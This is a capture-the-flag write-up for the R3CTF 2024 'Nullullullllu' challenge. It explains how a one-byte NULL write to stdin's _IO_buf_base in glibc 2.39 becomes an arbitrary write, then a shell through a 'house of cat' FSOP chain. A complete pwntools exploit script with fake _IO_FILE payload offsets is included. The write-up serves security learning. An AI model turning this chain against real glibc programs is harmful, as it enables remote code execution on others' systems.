My journey on one NULL byte overwrite to remote code execution - R3CTF/YUANHENGCTF 2024 Nullullullllu writeup
Here’s my writeup for the “easiest” pwnable challenge in r3CTF 2024 - Nullullullllu. Only 13 out of 764 teams solved this challenge so I think it’s definitely not easy!
tl;dr
- Overwrite the lsb of stdin’s
_IO_buf_base
so that in the nextgetchar
we can overwrite stdin’s_IO_FILE
structure itself. - Control stdin’s
_IO_buf_base
and_IO_buf_end
to gain arbitrary write. - Overwrite
_IO_list_all
and use house of cat exploit chain to gain RCE.
Challenge
Challenge environment: Glibc 2.39 (which is the latest version!), protection are all on except canary.
I only show the important parts of the challenge here.
while(true){
printf("> ");
choose = getchar();
while(getchar()!='\n'){}
switch(choose){
case '1':
printf("libc_base = %p\n", (&puts-0x87bd0));
break;
case '2':
if(first){
printf("Mem: ");
scanf("%llx", (long long unsigned int*)&mem);
printf("One byte Null is in %p\n", mem);
*mem = 0;
first = 0;
} else {
puts("I said that give me \"a\" null ~");
}
break;
case '3':
exit(1);
break;
}
}
Free libc leak and an arbitrary write NULL byte to any libc address.
Vulnerability analysis
Trivial, we can write a NULL byte in libc. But how to exploit?
Exploitation Plan
My first thought was of course: what the…freak? Can we overwrite some function pointer? It turns out that in libc 2.39, there aren’t many “raw” function pointers.
Then after some googling I found this awesome article House of red.
Yeah basically it’s the same idea! I actually traced source code during the competition.
If you dig into source code of getchar
(libio/getchar.c
):
int
getchar (void)
{
int result;
if (!_IO_need_lock (stdin))
return _IO_getc_unlocked (stdin);
_IO_acquire_lock (stdin);
result = _IO_getc_unlocked (stdin);
_IO_release_lock (stdin);
return result;
}
We can see that _IO_getc_unlocked
is important here. And after some more cross reference, we found that it’s actually calling this macro:
#define __getc_unlocked_body(_fp) \
(__glibc_unlikely ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end) \
? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)
Condition (_fp)->_IO_read_ptr >= (_fp)->_IO_read_end
is true here so it’ll call __uflow(stdin)
in libio/genops.c
:
int
__uflow (FILE *fp)
{
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;
if (fp->_mode == 0)
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr++;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr++;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
return _IO_UFLOW (fp); // <-- Here
}
And _IO_UFLOW
is just a macro jumping to the __uflow
function of vtable of an _IO_FILE
structure. (libio/libioP.h
)
#define _IO_UFLOW(FP) JUMP0 (__uflow, FP)
After some dynamic analysis we can see that it actually calls function _IO_file_underflow
in gdb (or _IO_new_file_underflow
in source code libio/fileops.c
, they are the same).
The core part of _IO_new_file_underflow
is:
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
So basically if we can control stdin’s _IO_buf_base
to somewhere with lower address, we can read more than 1 char! (We didn’t change _IO_buf_end
)
We can also see the same result in gdb
pwndbg> fp 0x00007ffff7fae8e0
$4 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
_IO_read_end = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
_IO_read_base = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
_IO_write_base = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",// <--address here lsb=0
_IO_write_ptr = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
_IO_write_end = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
_IO_buf_base = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",// Our target
_IO_buf_end = 0x7ffff7fae964 <_IO_2_1_stdin_+132> "",
...
We found that if we write the lsb of _IO_buf_base
to 0 (which is 0x7ffff7fae963
to 0x7ffff7fae900
in this case), it’ll point to the address of _IO_write_base
!
So we can overwrite the _IO_FILE
structure itself! The next getchar
will actually read from 0x7ffff7fae900
to 0x7ffff7fae964
. Then we can control _IO_buf_base
and _IO_buf_end
to gain arbitrary write.
The rest is just finding how to code execution in latest glibc 2.39. Fortunately house of cat exploit chain with exit triggering FSOP still works! See more details in the exploit script.
Exploit Script
from pwn import *
import sys
import time
context.log_level = "debug"
# context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
# brva x = b *(pie+x)
# set follow-fork-mode
# p/x $fs_base
# vis_heap_chunks
# set debug-file-directory /usr/src/glibc/glibc-2.35
# directory /usr/src/glibc/glibc-2.35/malloc/
# handle SIGALRM ignore
if len(sys.argv) == 1:
r = process("./chall_patched")
elif len(sys.argv) == 3:
r = remote(sys.argv[1], sys.argv[2])
else:
print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
sys.exit(1)
s = lambda data :r.send(data)
sa = lambda x, y :r.sendafter(x, y)
sl = lambda data :r.sendline(data)
sla = lambda x, y :r.sendlineafter(x, y)
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data,num :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
l64 = lambda :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
sla("> ","1")
ru("libc_base = ")
libc = int(ru('\n'),16)
leak("libc",hex(libc))
IO_buf_base = libc + 0x203918
sla("> ","2")
sla("Mem: ",hex(IO_buf_base)[2:])
IO_list_all = libc + 0x2044c0
# house of cat exploit chain template
fake_io_addr = libc + 0x2043a8
fake_IO_FILE = b"\xd0\x06;sh;\x00\x00"
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(0x7777)
fake_IO_FILE += p64(1) + p64(2)
fake_IO_FILE += p64(fake_io_addr + 0xB0)
fake_IO_FILE += p64(libc + 0x58740) # call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b"\x00")
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b"\x00")
fake_IO_FILE += p64(libc+0x204140)
fake_IO_FILE = fake_IO_FILE.ljust(0xA0, b"\x00")
fake_IO_FILE += p64(fake_io_addr + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0, b"\x00")
fake_IO_FILE += p64(1) # mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xD8, b"\x00")
fake_IO_FILE += p64(
libc + 0x202228 + 0x30
) # vtable=IO_wfile_jumps+0x10 (vtable = IO_wfile_jumps + 0x30 for FSOP)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(fake_io_addr + 0x40)
print("Len", len(fake_IO_FILE))
# I found out that I need to write above _IO_list_all to make it work
sa("> ",p64(libc+0x203900)*3+p64(IO_list_all-8-len(fake_IO_FILE))+p64(IO_list_all+8))
if args.GDB:
gdb.attach(r,"b _IO_flush_all\nb _IO_switch_to_wget_mode")
s(p64(0xDEADBEEF)+fake_IO_FILE+p64(fake_io_addr)) # some newline issues I think
sl("3")
sla("> ","3") # exit -> FSOP
r.interactive()
Epilogue
Though this challenge seems unsolvable at first, it’s actually very interesting! Thanks uz56764 for this awesome challenge.